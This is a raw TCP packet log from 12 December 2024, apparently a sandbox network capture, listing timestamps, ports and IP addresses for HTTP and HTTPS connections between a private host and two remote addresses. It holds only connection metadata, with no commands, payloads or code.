Dec 12, 2024 21:56:25.456887960 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.456948042 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.465055943 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.465209007 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.465300083 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.465432882 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.473483086 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.473565102 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.473629951 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.473629951 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.510843992 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.511136055 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.582765102 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.582818031 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.582887888 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.583164930 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.584902048 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.585015059 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.585063934 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.585063934 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.589538097 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.589595079 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.589776039 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.589962959 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.594031096 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.594085932 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.594243050 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.594397068 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.598654032 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.598706961 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.598822117 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.598822117 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.603164911 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.603343964 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.603415012 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.603612900 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.607707977 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.607880116 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.607909918 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.608068943 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.612246990 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.612430096 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.612468958 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.612646103 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.616802931 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.616940975 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.617086887 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.617086887 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.621361971 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.621534109 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.621561050 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.621608973 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.625962973 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.626018047 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.626126051 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.626265049 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.630543947 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.630606890 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.630860090 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.631016970 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:25.635034084 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:25.635231018 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:30.194547892 CET	80	49164	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:30.194644928 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:30.516803980 CET	49164	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:30.716953993 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:30.837007999 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:30.837203979 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:30.837434053 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:30.957264900 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.966479063 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.966576099 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:31.966586113 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.966625929 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.966677904 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:31.966813087 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.966847897 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.966881990 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.966892958 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:31.966924906 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:31.966931105 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.966976881 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:31.967674017 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.967708111 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.967722893 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:31.967744112 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:31.967757940 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:31.967793941 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:31.968599081 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.088252068 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.088407040 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.088948965 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.089075089 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.092401028 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.092509985 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.159238100 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.159337044 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.159384966 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.159444094 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.163146019 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.163357019 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.163697958 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.163813114 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.171273947 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.171330929 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.173162937 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.173253059 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.179595947 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.179655075 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.179685116 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.179924965 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.188016891 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.188081026 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.188216925 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.188273907 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.196693897 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.196829081 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.196873903 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.196928978 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.205537081 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.205626965 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.206373930 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.206425905 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.213265896 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.213454962 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.214222908 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.214283943 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.221736908 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.221930981 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.221997023 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.230144978 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.230254889 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.230448008 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.230513096 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.238127947 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.238204956 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.238328934 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.238389015 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.279377937 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.279450893 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.279457092 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.279500008 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.351144075 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.351172924 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.351254940 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.353204966 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.353280067 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.353394985 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.353451014 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.358011007 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.358027935 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.358088017 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.362617970 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.362883091 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.362948895 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.367419958 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.368144989 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.368334055 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.372095108 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.372560024 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.372622967 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.376771927 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.376842976 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.378158092 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.380703926 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.381511927 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.381572962 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.381805897 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.381860018 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.386224031 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.386665106 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.386742115 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.390978098 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.391741991 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.391818047 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.395632029 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.395734072 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.395993948 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.396146059 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.400357008 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.401571035 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.401642084 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.405077934 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.405359030 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.405425072 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.409949064 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.410360098 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.410423994 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.413975000 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.414247990 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.414323092 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.417613983 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.418488979 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.418570995 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.421695948 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.421767950 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.422373056 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.422513962 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.425928116 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.425992012 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.426678896 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.426734924 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.430372953 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.430433035 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.431396008 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.431453943 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.434485912 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.434546947 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.434796095 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.434853077 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.438185930 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.438245058 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.439834118 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.439889908 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.441752911 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.441826105 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.443715096 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.443775892 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.445261955 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.445333004 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.543416977 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.543468952 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.543752909 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.544636965 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.544775009 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.544790983 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.544840097 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.547564983 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.547626019 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.548037052 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.548098087 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.550246000 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.550307035 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.550432920 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.550491095 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.553162098 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.553221941 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.553436995 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.553494930 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.556078911 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.556135893 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.556199074 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.556246996 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.558955908 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.559010983 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.559377909 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.559432030 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.561670065 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.561722040 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.561796904 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.561847925 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.564379930 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.564861059 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.564929962 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.567063093 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.567689896 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.567754984 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.569819927 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.569938898 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.569997072 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.572206020 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.572427034 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.572483063 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.574812889 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.574976921 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.575035095 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.577382088 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.577891111 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.577953100 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.579900026 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.579957962 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.580025911 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.581640005 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.582704067 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.582937956 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.583173037 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.585433006 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.586338997 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.586405039 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.588049889 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.588118076 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.588193893 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.590976000 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.591054916 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.591119051 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.593043089 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.593106985 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.593468904 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.593650103 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.595175982 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.595437050 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.595498085 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.598119974 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.598556042 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.598619938 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:32.600280046 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:32.600852013 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:36.977264881 CET	80	49165	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:36.977344990 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:39.060188055 CET	49165	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:39.375154018 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:39.375195026 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:39.375251055 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:39.375652075 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:39.375667095 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:40.592628002 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:40.593761921 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:40.595094919 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:40.595103979 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:40.599725008 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:40.599731922 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:41.315831900 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:41.315922976 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:41.316063881 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:41.316106081 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:41.316118002 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:41.316150904 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:41.316157103 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:41.316190958 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:41.316230059 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:41.316272974 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:41.321156979 CET	49167	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:41.321171999 CET	443	49167	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:41.807065964 CET	49168	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:41.926975012 CET	80	49168	192.210.150.24	192.168.2.22
Dec 12, 2024 21:56:41.927040100 CET	49168	80	192.168.2.22	192.210.150.24
Dec 12, 2024 21:56:42.533533096 CET	49169	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:42.533591032 CET	443	49169	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:42.533651114 CET	49169	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:42.535300016 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:42.535355091 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:42.535413027 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:42.548491001 CET	49170	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:42.548516989 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:42.549185991 CET	49169	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:42.549222946 CET	443	49169	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:43.769481897 CET	443	49169	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:43.769577980 CET	49169	443	192.168.2.22	172.67.163.184
Dec 12, 2024 21:56:43.773008108 CET	443	49170	172.67.163.184	192.168.2.22
Dec 12, 2024 21:56:43.773127079 CET	49170	443	192.168.2.22	172.67.163.184
